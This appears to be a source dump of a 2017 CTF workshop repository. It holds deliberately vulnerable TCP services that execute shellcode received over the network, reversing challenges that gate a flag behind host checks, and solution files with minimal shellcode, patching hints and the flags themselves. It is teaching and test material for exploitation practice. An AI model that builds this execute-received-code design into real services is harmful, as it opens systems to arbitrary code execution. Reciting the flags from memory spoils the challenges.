| bits 32 2 | 3 | xor eax, eax 4 | mov al, 0x01 5 | shl eax, 8 6 | mov al, 0x02 7 | shl eax, 8 8 | mov al, 0x03 9 | ret 10 | -------------------------------------------------------------------------------- /seteax/Makefile: -------------------------------------------------------------------------------- 1 | PROJECT_NAME := bsides-sf-ctf-2017 2 | REGISTRY := gcr.io 3 | 4 | # The full tag of the conatiner 5 | CONTAINER_TAG := ${REGISTRY}/${PROJECT_NAME}/seteax 6 | 7 | .PHONY: container push deploy delete deploy-service redeploy 8 | 9 | # Build the docker conatiner with the appropriate tag, allowing us to push it to our registry 10 | # The --no-cache argument builds the container from scratch, which is slow. 11 | container: 12 | docker build --no-cache --tag ${CONTAINER_TAG} challenge 13 | 14 | # Push the container to the google container registry. 15 | # This is the first step in deploying the challenge 16 | push: 17 | gcloud docker -- push ${CONTAINER_TAG} 18 | 19 | # Deploy the challenge to kubernetes 20 | deploy: 21 | kubectl create -f deployment/deploy.yaml 22 | 23 | redeploy: 24 | # Errr... I guess this works 25 | kubectl delete -f deployment/deploy.yaml 26 | kubectl create -f deployment/deploy.yaml 27 | 28 | # This is what exposes the container to the world 29 | deploy-service: 30 | kubectl create -f deployment/service.yaml 31 | 32 | # Delete the challenge from our cluster 33 | delete: 34 | kubectl delete -f deployment/deploy.yaml 35 | kubectl delete -f deployment/service.yaml 36 | -------------------------------------------------------------------------------- /seteax/README.md: -------------------------------------------------------------------------------- 1 | This level requires a user to write some very, very simple shellcode. 2 | -------------------------------------------------------------------------------- /seteax/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:xenial 2 | 3 | RUN adduser --disabled-password --gecos '' ctf 4 | 5 | RUN apt-get update && apt-get install -y xinetd gcc make libc6-dev-i386 libssl-dev coreutils 6 | 7 | WORKDIR /home/ctf 8 | ADD src/* /home/ctf/ 9 | RUN make 10 | RUN chown -R root:root . 11 | 12 | # Set up xinetd 13 | ADD xinetd.conf /etc/xinetd.conf 14 | RUN mkdir /var/log/xinetd/ 15 | 16 | ADD seteax.xinetd /etc/xinetd.d/seteax 17 | 18 | USER root 19 | EXPOSE 6114 20 | 21 | CMD service xinetd restart && tail -F /var/log/xinetd/xinetd.log 22 | -------------------------------------------------------------------------------- /seteax/challenge/seteax.xinetd: -------------------------------------------------------------------------------- 1 | service seteax 2 | { 3 | protocol = tcp 4 | disable = no 5 | port = 6114 6 | flags = REUSE 7 | socket_type = stream 8 | wait = no 9 | user = ctf 10 | server = /usr/bin/timeout 11 | server_args = 10 /home/ctf/seteax 12 | type = UNLISTED 13 | } 14 | -------------------------------------------------------------------------------- /seteax/challenge/src/Makefile: -------------------------------------------------------------------------------- 1 | CC?=gcc 2 | OBJS=seteax.o 3 | 4 | seteax: ${OBJS} 5 | ${CC} -m32 ${CFLAGS} -o seteax seteax.c 6 | 7 | clean: 8 | rm -fv *.o seteax core core.* 9 | -------------------------------------------------------------------------------- /seteax/challenge/src/flag.h: -------------------------------------------------------------------------------- 1 | #define FLAG "73afdc142ba6789826605b3c840f66f0" 2 | -------------------------------------------------------------------------------- /seteax/challenge/src/seteax.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "flag.h" 9 | 10 | #define LENGTH 1024 11 | #define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0) 12 | 13 | int main(int argc, char *argv[]) 14 | { 15 | uint8_t *buffer = mmap(NULL, LENGTH, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); 16 | ssize_t len; 17 | register int eax asm ("eax"); 18 | int eax_bak; 19 | 20 | alarm(10); 21 | 22 | disable_buffering(stdout); 23 | disable_buffering(stderr); 24 | 25 | printf("Send me stuff!! Your goal: cleanly return with eax set to 0x00010203!\n"); 26 | len = read(0, buffer, LENGTH); 27 | 28 | if(len < 0) { 29 | printf("Error reading!\n"); 30 | exit(1); 31 | } 32 | 33 | asm("call *%0\n" : :"r"(buffer)); 34 | eax_bak = eax; 35 | 36 | printf("After returning, eax => 0x%08x\n", eax_bak); 37 | if(eax_bak == 0x00010203) 38 | printf("Well done! The flag is: %s\n", FLAG); 39 | 40 | return 0; 41 | } 42 | -------------------------------------------------------------------------------- /seteax/challenge/xinetd.conf: -------------------------------------------------------------------------------- 1 | # Simple configuration file for xinetd 2 | # 3 | # Some defaults, and include /etc/xinetd.d/ 4 | 5 | defaults 6 | { 7 | 8 | # Please note that you need a log_type line to be able to use log_on_success 9 | # and log_on_failure. The default is the following : 10 | log_type = FILE /var/log/xinetd/xinetd.log 11 | log_on_success = HOST PID DURATION 12 | 13 | } 14 | 15 | includedir /etc/xinetd.d 16 | -------------------------------------------------------------------------------- /seteax/deployment/deploy.yaml: -------------------------------------------------------------------------------- 1 | # Define which containers to run 2 | apiVersion: extensions/v1beta1 3 | kind: Deployment 4 | metadata: 5 | name: seteax 6 | spec: 7 | replicas: 2 8 | template: 9 | metadata: 10 | labels: 11 | app: seteax 12 | spec: 13 | containers: 14 | - name: seteax 15 | # This should be the same container tag as created by the Makefile 16 | image: gcr.io/bsides-sf-ctf-2017/seteax 17 | ports: 18 | # This is the port that the container exposes 19 | - containerPort: 6114 20 | volumeMounts: 21 | - mountPath: /var/run/secrets/kubernetes.io/serviceaccount 22 | name: no-api-access-please 23 | readOnly: true 24 | volumes: 25 | - name: no-api-access-please 26 | emptyDir: {} 27 | -------------------------------------------------------------------------------- /seteax/deployment/service.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: seteax-service 5 | labels: 6 | app: seteax 7 | spec: 8 | type: LoadBalancer 9 | ports: 10 | - port: 6114 11 | targetPort: 6114 12 | selector: 13 | app: seteax 14 | -------------------------------------------------------------------------------- /seteax/distfiles/Makefile: -------------------------------------------------------------------------------- 1 | ../challenge/src/Makefile -------------------------------------------------------------------------------- /seteax/distfiles/README.md: -------------------------------------------------------------------------------- 1 | The server will run any code you send it. Easy peaasy! 2 | 3 | (The server will give you further instructions) 4 | -------------------------------------------------------------------------------- /seteax/distfiles/seteax.c: -------------------------------------------------------------------------------- 1 | ../challenge/src/seteax.c -------------------------------------------------------------------------------- /seteax/solution/pwn.asm: -------------------------------------------------------------------------------- 1 | bits 32 2 | 3 | mov eax, 0 4 | ret 5 | -------------------------------------------------------------------------------- /shortest/Makefile: -------------------------------------------------------------------------------- 1 | PROJECT_NAME := bsides-sf-ctf-2017 2 | REGISTRY := gcr.io 3 | 4 | # The full tag of the conatiner 5 | CONTAINER_TAG := ${REGISTRY}/${PROJECT_NAME}/shortest 6 | 7 | .PHONY: container push deploy delete deploy-service redeploy 8 | 9 | # Build the docker conatiner with the appropriate tag, allowing us to push it to our registry 10 | # The --no-cache argument builds the container from scratch, which is slow. 11 | container: 12 | docker build --no-cache --tag ${CONTAINER_TAG} challenge 13 | 14 | # Push the container to the google container registry. 15 | # This is the first step in deploying the challenge 16 | push: 17 | gcloud docker -- push ${CONTAINER_TAG} 18 | 19 | # Deploy the challenge to kubernetes 20 | deploy: 21 | kubectl create -f deployment/deploy.yaml 22 | 23 | redeploy: 24 | # Errr... I guess this works 25 | kubectl delete -f deployment/deploy.yaml 26 | kubectl create -f deployment/deploy.yaml 27 | 28 | # This is what exposes the container to the world 29 | deploy-service: 30 | kubectl create -f deployment/service.yaml 31 | 32 | # Delete the challenge from our cluster 33 | delete: 34 | kubectl delete -f deployment/deploy.yaml 35 | kubectl delete -f deployment/service.yaml 36 | -------------------------------------------------------------------------------- /shortest/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:xenial 2 | 3 | RUN adduser --disabled-password --gecos '' ctf 4 | 5 | RUN apt-get update && apt-get install -y xinetd gcc make libc6-dev-i386 coreutils 6 | 7 | WORKDIR /home/ctf 8 | ADD src/* /home/ctf/ 9 | RUN make 10 | RUN chown -R root:root . 11 | 12 | ADD shortest.xinetd /etc/xinetd.d/shortest 13 | 14 | EXPOSE 6127 15 | 16 | CMD service xinetd restart && sleep infinity 17 | -------------------------------------------------------------------------------- /shortest/challenge/shortest.xinetd: -------------------------------------------------------------------------------- 1 | service shortest 2 | { 3 | protocol = tcp 4 | disable = no 5 | port = 6127 6 | flags = REUSE 7 | socket_type = stream 8 | wait = no 9 | user = ctf 10 | server = /usr/bin/timeout 11 | server_args = 10 /home/ctf/shortest 12 | type = UNLISTED 13 | } 14 | -------------------------------------------------------------------------------- /shortest/challenge/src/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc -O0 -m32 -Wall -o shortest shortest.c 3 | 4 | clean: 5 | rm -f *.o shortest core 6 | -------------------------------------------------------------------------------- /shortest/challenge/src/README.md: -------------------------------------------------------------------------------- 1 | It is very important to test this one! In theory, a compiler might 2 | mess up some of my code. This should work: 3 | 4 | -- 5 | $ make clean all && echo -ne '\x87\xf1\xcd\x80' | ./shortest 6 | rm -f *.o shortest core 7 | gcc -O0 -m32 -Wall -o shortest shortest.c 8 | The address of 'flag' is 0xffa2984c 9 | Send your machine code now! Max length = 5 bytes. 10 | 11 | FLAG:c9f053110aa0f2d28ed8978e3b03cb01 12 | ,,, 13 | -- 14 | -------------------------------------------------------------------------------- /shortest/challenge/src/flag.txt: -------------------------------------------------------------------------------- 1 | FLAG:63a2add44cc48ba13165c43ef4914b6a 2 | -------------------------------------------------------------------------------- /shortest/challenge/src/shortest: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iagox86/ctfworkshop-2017/ade89cc559a2e9ada8dc927d9ed2f52f30d0bf4d/shortest/challenge/src/shortest -------------------------------------------------------------------------------- /shortest/challenge/src/shortest.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0) 10 | 11 | void get_flag(char *buf) 12 | { 13 | FILE *f = fopen("/home/ctf/flag.txt", "r"); 14 | if(!f) 15 | { 16 | printf("Couldn't open flag.txt file!\n"); 17 | system("pwd"); 18 | exit(0); 19 | } 20 | fgets(buf, 128, f); 21 | fclose(f); 22 | } 23 | 24 | int main(int argc, char *argv[]) 25 | { 26 | char flag[128]; 27 | void *buf; 28 | size_t size; 29 | 30 | alarm(10); 31 | 32 | disable_buffering(stdout); 33 | disable_buffering(stderr); 34 | 35 | memset(flag, 0, 128); 36 | 37 | buf = mmap(0, 5, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0); 38 | 39 | get_flag(flag); 40 | asm ( "mov %0, %%esi;" /* Make sure the flag is in 'esi' so it can be easily accessed later */ 41 | "mov %1, %%ebx;" /* Make sure ebx is '1', since it will be the file descriptor later */ 42 | : 43 | : "g"(flag), "g"(1)); 44 | 45 | printf("The address of 'flag' is %p\n", &flag); /* This is supposed to look helpful. */ 46 | printf("Send your machine code now! Max length = 5 bytes.\n\n"); 47 | 48 | /* In theory, unless they find a clever way to solve this (which would rock!), they want: 49 | * eax = 4 (the return from fread() will take care of that) 50 | * ebx = 1 (already set) 51 | * ecx = buf (can be set with 'xchg esi, ecx' or 'mov ecx, esi') 52 | * edx = length (already has a good-enough length in it) 53 | */ 54 | 55 | size = read(0, buf, 5); /* The return value from this will be the 'syscall' number (4) */ 56 | 57 | asm("mov %0, %%edx" : :"g"(0xFF)); /* We just need a large-ish value in edx, 0xFF looks less sketchy */ 58 | 59 | if(size <= 5) /* The real value they should use is '4' */ 60 | { 61 | asm("jmp *%0" 62 | : 63 | : "g"(buf) 64 | ); 65 | } 66 | else 67 | { 68 | printf("Sorry, your code is too long! (%zd bytes, max length = 5)\n", size); 69 | } 70 | 71 | return 0; 72 | } 73 | -------------------------------------------------------------------------------- /shortest/deployment/deploy.yaml: -------------------------------------------------------------------------------- 1 | # Define which containers to run 2 | apiVersion: extensions/v1beta1 3 | kind: Deployment 4 | metadata: 5 | name: shortest 6 | spec: 7 | replicas: 1 8 | template: 9 | metadata: 10 | labels: 11 | app: shortest 12 | spec: 13 | containers: 14 | - name: shortest 15 | # This should be the same container tag as created by the Makefile 16 | image: gcr.io/bsides-sf-ctf-2017/shortest 17 | ports: 18 | # This is the port that the container exposes 19 | - containerPort: 6127 20 | volumeMounts: 21 | - mountPath: /var/run/secrets/kubernetes.io/serviceaccount 22 | name: no-api-access-please 23 | readOnly: true 24 | volumes: 25 | - name: no-api-access-please 26 | emptyDir: {} 27 | -------------------------------------------------------------------------------- /shortest/deployment/service.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: shortest-service 5 | labels: 6 | app: shortest 7 | spec: 8 | type: LoadBalancer 9 | ports: 10 | - port: 6127 11 | targetPort: 6127 12 | selector: 13 | # This should match the app name above 14 | app: shortest 15 | -------------------------------------------------------------------------------- /shortest/distfiles/README.md: -------------------------------------------------------------------------------- 1 | This simply runs code sent to it. The goal is to read the context of flag.txt, 2 | which is loaded into memory. 3 | 4 | The trick: you have a maximum of 5 bytes of shellcode in order to read the 5 | memory. 6 | 7 | Good luck! 8 | -------------------------------------------------------------------------------- /shortest/distfiles/shortest: -------------------------------------------------------------------------------- 1 | ../challenge/src/shortest -------------------------------------------------------------------------------- /shortest/solution/README.md: -------------------------------------------------------------------------------- 1 | The idea behind this is to write shellcode in no more than 5 bytes. My solution 2 | actually requires 4 bytes, The trick is that the state of the registers matters 3 | when the code is run. At that point, eax is the length (4), ebx is 1, esi is 4 | a pointer to flag.txt's value, and edx is 0xdd. 5 | 6 | That means that eax is already set up to call sys_write (4), ebx is already set 7 | to stdout (1), and edx is already set to a useful length (0xff). That just 8 | leaves one thing before we can use sys_write: setting ecx to flag.txt. 9 | 10 | This simple shellcode will take care of that, then call sys_write: 11 | * xchg esi, ecx 12 | * int 0x80 13 | 14 | Which compiles to: 15 | 87 ce cd 80 16 | 17 | So you can own it with: 18 | echo -ne "\x87\xce\xcd\x80" | ./shortest 19 | 20 | -------------------------------------------------------------------------------- /skipper/README.md: -------------------------------------------------------------------------------- 1 | This is a reversing level that just requires some simple binary-editing. 2 | -------------------------------------------------------------------------------- /skipper/challenge/Makefile: -------------------------------------------------------------------------------- 1 | all: skipper 2 | 3 | skipper: 4 | gcc -m32 -funroll-all-loops -o skipper-32 skipper.c 5 | gcc -m64 -funroll-all-loops -o skipper-64 skipper.c 6 | strip skipper-32 7 | strip skipper-64 8 | 9 | cheat: 10 | gcc -DTEST1 -DTEST2 -DTEST3 -funroll-all-loops -o skipper-cheat skipper.c 11 | 12 | clean: 13 | rm -f *.o core *.stackdump *.exe skipper-* 14 | -------------------------------------------------------------------------------- /skipper/challenge/skipper.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #define READ 0 12 | #define WRITE 1 13 | 14 | //#define TEST1 15 | //#define TEST2 16 | //#define TEST3 17 | 18 | static void get_cpuid(char buffer[13]) 19 | { 20 | memset(buffer, 0, 1024); 21 | 22 | int eax = 0; /* Get vendor ID */ 23 | int ebx, ecx, edx; 24 | /* ecx is often an input as well as an output. */ 25 | asm volatile("cpuid" 26 | : "=a" (eax), 27 | "=b" (ebx), 28 | "=c" (ecx), 29 | "=d" (edx) 30 | : "0" (eax), "2" (ecx)); 31 | 32 | ((int*)buffer)[0] = ebx; 33 | ((int*)buffer)[1] = edx; 34 | ((int*)buffer)[2] = ecx; 35 | buffer[12] = 0; 36 | } 37 | 38 | static void get_name(char *buffer) 39 | { 40 | int pipe_stdout[2]; 41 | int status; 42 | int n; 43 | 44 | memset(buffer, 0, 1024); 45 | 46 | pipe(pipe_stdout); 47 | 48 | pid_t pid = fork(); 49 | 50 | if(!pid) 51 | { 52 | /* Copy the pipes. */ 53 | if(dup2(pipe_stdout[WRITE], STDOUT_FILENO) == -1) 54 | { 55 | perror("exec: couldn't duplicate STDOUT handle"); 56 | exit(1); 57 | } 58 | 59 | /* Execute the new process. */ 60 | execlp("uname", "uname", "-n", (char*) NULL); 61 | 62 | /* If execlp returns, bad stuff happened. */ 63 | printf("exec: execlp failed (%d)", errno); 64 | exit(1); 65 | } 66 | 67 | waitpid(pid, &status, 0); 68 | n = read(pipe_stdout[READ], buffer, 1024); 69 | 70 | buffer[n-1] = '\0'; 71 | } 72 | 73 | static void get_os(char *buffer) 74 | { 75 | int i, n, m; 76 | 77 | memset(buffer, 0, 1024); 78 | 79 | FILE *f = fopen("/proc/version", "r"); 80 | n = fread(buffer, 1, 1024, f); 81 | m = strchr(strchr(buffer, ' ') + 1, ' ') - buffer + 1; 82 | 83 | memmove(buffer, buffer + m, n - m); 84 | for(i = 0; ; i++) 85 | { 86 | if(!isdigit(buffer[i]) && buffer[i] != '.') 87 | { 88 | buffer[i] = '\0'; 89 | return; 90 | } 91 | } 92 | } 93 | 94 | #define SWAP(n,s,i,j) tmp=s[(i)%n];s[(i)%n]=s[(j)%n];s[(j)%n]=tmp; 95 | #define A(n,s,i) SWAP(n,s,i*3, i*11) 96 | #define B(n,s,i) SWAP(n,s,i|12,i<<3) 97 | #define C(n,s,i) SWAP(n,s,i*7, i*17) 98 | #define D(n,s,i) SWAP(n,s,i^3, i*i) 99 | 100 | #define E(n,s,i) A(n,s,i);B(n,s,i);C(n,s,i);D(n,s,i) 101 | #define F(n,s,i) B(n,s,i);C(n,s,i);D(n,s,i);A(n,s,i) 102 | #define G(n,s,i) C(n,s,i);D(n,s,i);A(n,s,i);B(n,s,i) 103 | #define H(n,s,i) D(n,s,i);A(n,s,i);B(n,s,i);C(n,s,i) 104 | 105 | #define I(n,s,i) E(n,s,i);F(n,s,i);G(n,s,i);H(n,s,i) 106 | #define J(n,s,i) H(n,s,i);G(n,s,i);F(n,s,i);E(n,s,i) 107 | #define K(n,s,i) F(n,s,i);F(n,s,i);G(n,s,i);G(n,s,i) 108 | #define L(n,s,i) E(n,s,i);E(n,s,i);H(n,s,i);H(n,s,i) 109 | 110 | static void finish() 111 | { 112 | char key[] = "8774b4d9c745a4148c55948f5b366f3790de50b8"; 113 | char buffer[] = "\x70\x75\x76\x73\x5f\x53\x04\x08\x57\x54\x0d\x07\x0e\x57\x54\x57\x0c\x01\x56\x0d\x04\x50\x02\x06\x00\x03\x0a\x57\x5f\x5f\x0d\x0a\x59\x5c\x0f\x04\x5e\x30"; 114 | int i, j, k, l; 115 | int tmp; 116 | int n = sizeof(key)-1; 117 | 118 | for(i = 0; i < n*100; i++) 119 | { 120 | I(n, key, i); 121 | J(n, key, i); 122 | K(n, key, i); 123 | L(n, key, i); 124 | } 125 | 126 | for(i = 0; i < sizeof(buffer); i++) 127 | buffer[i] = buffer[i] ^ key[i]; 128 | 129 | #if 0 130 | printf("Key in hex: "); 131 | for(i = 0; i < sizeof(buffer); i++) 132 | printf("\\x%02x", buffer[i]); 133 | printf("\n"); 134 | #endif 135 | 136 | printf("Result: %s\n", buffer); 137 | } 138 | 139 | int main(int argc, char **argv) 140 | { 141 | char buffer[1024]; 142 | 143 | get_name(buffer); 144 | #ifdef TEST1 145 | strcpy(buffer, "hax0rz!~"); 146 | #endif 147 | printf("Computer name: %s\n", buffer); 148 | if(strcmp(buffer, "hax0rz!~")) 149 | { 150 | printf("Sorry, your computer's name - %s - is not correct!\n", buffer); 151 | raise(SIGKILL); 152 | } 153 | 154 | 155 | get_os(buffer); 156 | printf("OS version: %s\n", buffer); 157 | 158 | #ifdef TEST2 159 | strcpy(buffer, "2.4.31"); 160 | #endif 161 | 162 | if(strcmp(buffer, "2.4.31")) 163 | { 164 | printf("Sorry, your OS version - %s - is not supported!\n", buffer); 165 | buffer[0] = buffer[0]/((buffer[1]/buffer[1])-1); 166 | } 167 | 168 | get_cpuid(buffer); 169 | #ifdef TEST3 170 | strcpy(buffer, "AMDisbetter!"); 171 | #endif 172 | 173 | printf("%s\n", buffer); 174 | if(strcmp(buffer, "AMDisbetter!")) 175 | { 176 | printf("Sorry, your CPU - %s - is not supported!\n", buffer); 177 | asm("mov $1,%eax; xorl %ebx,%ebx; int $0x80"); 178 | } 179 | else 180 | { 181 | finish(); 182 | } 183 | } 184 | 185 | -------------------------------------------------------------------------------- /skipper/distfiles/README.md: -------------------------------------------------------------------------------- 1 | The given binary will give you the password... if you meet its criteria! 2 | -------------------------------------------------------------------------------- /skipper/distfiles/skipper-32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iagox86/ctfworkshop-2017/ade89cc559a2e9ada8dc927d9ed2f52f30d0bf4d/skipper/distfiles/skipper-32 -------------------------------------------------------------------------------- /skipper/distfiles/skipper-64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iagox86/ctfworkshop-2017/ade89cc559a2e9ada8dc927d9ed2f52f30d0bf4d/skipper/distfiles/skipper-64 -------------------------------------------------------------------------------- /skipper/solution/README.md: -------------------------------------------------------------------------------- 1 | The easiest way to solve this is to "nop" out the bad comparisons and let the 2 | key-generation function run. 3 | 4 | Flag: f51579e9ca38ba87d71539a9992887ff 5 | -------------------------------------------------------------------------------- /skipper2/challenge/Makefile: -------------------------------------------------------------------------------- 1 | all: skipper2 2 | 3 | skipper2: 4 | gcc -m32 -funroll-all-loops -o skipper2-32 skipper2.c 5 | gcc -m64 -funroll-all-loops -o skipper2-64 skipper2.c 6 | gcc -DTEST1 -DTEST2 -DTEST3 -o skipper2-cheat skipper2.c 7 | 8 | clean: 9 | rm -f *.o core *.stackdump *.exe skipper2-* 10 | -------------------------------------------------------------------------------- /skipper2/challenge/skipper2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #define READ 0 12 | #define WRITE 1 13 | 14 | static void get_cpuid(char buffer[13]) 15 | { 16 | memset(buffer, 0, 1024); 17 | 18 | int eax = 0; /* Get vendor ID */ 19 | int ebx, ecx, edx; 20 | /* ecx is often an input as well as an output. */ 21 | asm volatile("cpuid" 22 | : "=a" (eax), 23 | "=b" (ebx), 24 | "=c" (ecx), 25 | "=d" (edx) 26 | : "0" (eax), "2" (ecx)); 27 | 28 | ((int*)buffer)[0] = ebx; 29 | ((int*)buffer)[1] = edx; 30 | ((int*)buffer)[2] = ecx; 31 | buffer[12] = 0; 32 | } 33 | 34 | static void get_name(char *buffer) 35 | { 36 | int pipe_stdout[2]; 37 | int status; 38 | int n; 39 | 40 | memset(buffer, 0, 1024); 41 | 42 | pipe(pipe_stdout); 43 | 44 | pid_t pid = fork(); 45 | 46 | if(!pid) 47 | { 48 | /* Copy the pipes. */ 49 | if(dup2(pipe_stdout[WRITE], STDOUT_FILENO) == -1) 50 | { 51 | perror("exec: couldn't duplicate STDOUT handle"); 52 | exit(1); 53 | } 54 | 55 | /* Execute the new process. */ 56 | execlp("uname", "uname", "-n", (char*) NULL); 57 | 58 | /* If execlp returns, bad stuff happened. */ 59 | printf("exec: execlp failed (%d)", errno); 60 | exit(1); 61 | } 62 | 63 | waitpid(pid, &status, 0); 64 | n = read(pipe_stdout[READ], buffer, 1024); 65 | 66 | buffer[n-1] = '\0'; 67 | } 68 | 69 | static void get_os(char *buffer) 70 | { 71 | int i, n, m; 72 | 73 | memset(buffer, 0, 1024); 74 | 75 | FILE *f = fopen("/proc/version", "r"); 76 | n = fread(buffer, 1, 1024, f); 77 | m = strchr(strchr(buffer, ' ') + 1, ' ') - buffer + 1; 78 | 79 | memmove(buffer, buffer + m, n - m); 80 | for(i = 0; ; i++) 81 | { 82 | if(!isdigit(buffer[i]) && buffer[i] != '.') 83 | { 84 | buffer[i] = '\0'; 85 | return; 86 | } 87 | } 88 | } 89 | 90 | #define SWAP(n,s,i,j) tmp=s[(i)%n];s[(i)%n]=s[(j)%n];s[(j)%n]=tmp; 91 | #define A(n,s,i) SWAP(n,s,i*3, i*11) 92 | #define B(n,s,i) SWAP(n,s,i|12,i<<3) 93 | #define C(n,s,i) SWAP(n,s,i*7, i*17) 94 | #define D(n,s,i) SWAP(n,s,i^3, i*i) 95 | 96 | #define E(n,s,i) A(n,s,i+buffer2[0]);B(n,s,i+buffer2[ 8]);C(n,s,i+buffer2[16]);D(n,s,i+buffer2[24]) 97 | #define F(n,s,i) B(n,s,i+buffer2[1]);C(n,s,i+buffer2[ 9]);D(n,s,i+buffer2[17]);A(n,s,i+buffer2[25]) 98 | #define G(n,s,i) C(n,s,i+buffer2[2]);D(n,s,i+buffer2[10]);A(n,s,i+buffer2[18]);B(n,s,i+buffer2[26]) 99 | #define H(n,s,i) D(n,s,i+buffer2[3]);A(n,s,i+buffer2[11]);B(n,s,i+buffer2[19]);C(n,s,i+buffer2[27]) 100 | #define I(n,s,i) E(n,s,i+buffer2[4]);F(n,s,i+buffer2[12]);G(n,s,i+buffer2[20]);H(n,s,i+buffer2[28]) 101 | #define J(n,s,i) H(n,s,i+buffer2[5]);G(n,s,i+buffer2[13]);F(n,s,i+buffer2[21]);E(n,s,i+buffer2[29]) 102 | #define K(n,s,i) F(n,s,i+buffer2[6]);F(n,s,i+buffer2[14]);G(n,s,i+buffer2[22]);G(n,s,i+buffer2[30]) 103 | #define L(n,s,i) E(n,s,i+buffer2[7]);E(n,s,i+buffer2[15]);H(n,s,i+buffer2[23]);H(n,s,i+buffer2[31]) 104 | 105 | static void finish(char *buffer2) 106 | { 107 | char key[] = "8988317ff468a390eb1d163cd46e7b182d6dbedb3c63290174300fdab69c584f"; 108 | /*char buffer[] = "FLAG:18ee7c71d2794f546ca23e6858de0bc6";*/ 109 | char buffer[] = "\x12\x56\x27\x70\x2c\x07\x5a\x67\x44\x0f\x07\x00\x63\x06\x4a\x3c\x0f\x04\x57\x01\x0d\x55\x65\x05\x34\x0b\x6d\x05\x73\x20\x7a\x06\x57\x04\x54\x24\x03\x31"; 110 | 111 | int i, j, k, l; 112 | int tmp; 113 | int n = sizeof(key)-1; 114 | 115 | for(i = 0; i < sizeof(key); i++) 116 | key[i] ^= buffer2[i]; 117 | 118 | for(i = 0; i < n*100; i++) 119 | { 120 | I(n, key, i); 121 | J(n, key, i); 122 | K(n, key, i); 123 | L(n, key, i); 124 | } 125 | 126 | for(i = 0; i < sizeof(buffer); i++) 127 | buffer[i] ^= key[i]; 128 | 129 | printf("\n\n"); 130 | 131 | printf("The key is: %s\n", buffer); 132 | } 133 | 134 | int main(int argc, char **argv) 135 | { 136 | int i; 137 | char buffer[1024]; 138 | char buffer2[1024]; 139 | 140 | memset(buffer2, 0, 1024); 141 | 142 | get_name(buffer); 143 | #ifdef TEST1 144 | strcpy(buffer, "hax0rz!~"); 145 | #endif 146 | printf("Computer name: %s\n", buffer); 147 | if(strcmp(buffer, "hax0rz!~")) 148 | { 149 | printf("Sorry, your computer's name - %s - is not correct!\n", buffer); 150 | raise(SIGKILL); 151 | } 152 | strcat(buffer2, buffer); 153 | 154 | get_os(buffer); 155 | printf("OS version: %s\n", buffer); 156 | 157 | #ifdef TEST2 158 | strcpy(buffer, "2.4.31"); 159 | #endif 160 | 161 | if(strcmp(buffer, "2.4.31")) 162 | { 163 | printf("Sorry, your OS version - %s - is not supported!\n", buffer); 164 | raise(SIGKILL); 165 | } 166 | strcat(buffer2, buffer); 167 | 168 | get_cpuid(buffer); 169 | #ifdef TEST3 170 | strcpy(buffer, "AMDisbetter!"); 171 | #endif 172 | 173 | printf("%s\n", buffer); 174 | if(strcmp(buffer, "AMDisbetter!")) 175 | { 176 | printf("Sorry, your CPU - %s - is not supported!\n", buffer); 177 | raise(SIGKILL); 178 | } 179 | strcat(buffer2, buffer); 180 | 181 | finish(buffer2); 182 | } 183 | 184 | -------------------------------------------------------------------------------- /skipper2/distfiles/README.md: -------------------------------------------------------------------------------- 1 | The given binary will give you the password... if you meet its criteria! 2 | 3 | This is just like 'skipper', but with sharper teeth! Good luck! 4 | -------------------------------------------------------------------------------- /skipper2/distfiles/skipper2-32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iagox86/ctfworkshop-2017/ade89cc559a2e9ada8dc927d9ed2f52f30d0bf4d/skipper2/distfiles/skipper2-32 -------------------------------------------------------------------------------- /skipper2/distfiles/skipper2-64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iagox86/ctfworkshop-2017/ade89cc559a2e9ada8dc927d9ed2f52f30d0bf4d/skipper2/distfiles/skipper2-64 -------------------------------------------------------------------------------- /skipper2/solution/README.md: -------------------------------------------------------------------------------- 1 | Similar to 'skipper', except that the three values that are required are 2 | actually used. The binary has to be modified so the three values are the 3 | ones requested. 4 | 5 | FLAG:18ee7c71d2794f546ca23e6858de0bc6 6 | -------------------------------------------------------------------------------- /tools/Makefile: -------------------------------------------------------------------------------- 1 | all: run-raw-code 2 | 3 | run-raw-code: run-raw-code.c 4 | gcc -o run-raw-code -m32 run-raw-code.c 5 | -------------------------------------------------------------------------------- /tools/assemble-to-stdout.rb: -------------------------------------------------------------------------------- 1 | def p(file) 2 | File.open(file, 'rb') do |f| 3 | data = f.read() 4 | print data 5 | end 6 | end 7 | 8 | if(!ARGV[0]) 9 | puts("Usage: ruby binary-to-string.rb ") 10 | exit() 11 | end 12 | 13 | file = ARGV[0] 14 | 15 | if(file.end_with?('.asm')) 16 | if(system("nasm -o #{file}.bin #{file}")) 17 | p(file + '.bin') 18 | File.delete(file + '.bin') 19 | end 20 | else 21 | p(file) 22 | end 23 | -------------------------------------------------------------------------------- /tools/binary-to-string.rb: -------------------------------------------------------------------------------- 1 | def p(file) 2 | File.open(file, 'rb') do |f| 3 | data = f.read() 4 | print(data.bytes.map() { |b| '\x%02x' % b }.join('')) 5 | puts() 6 | end 7 | end 8 | 9 | if(!ARGV[0]) 10 | puts("Usage: ruby 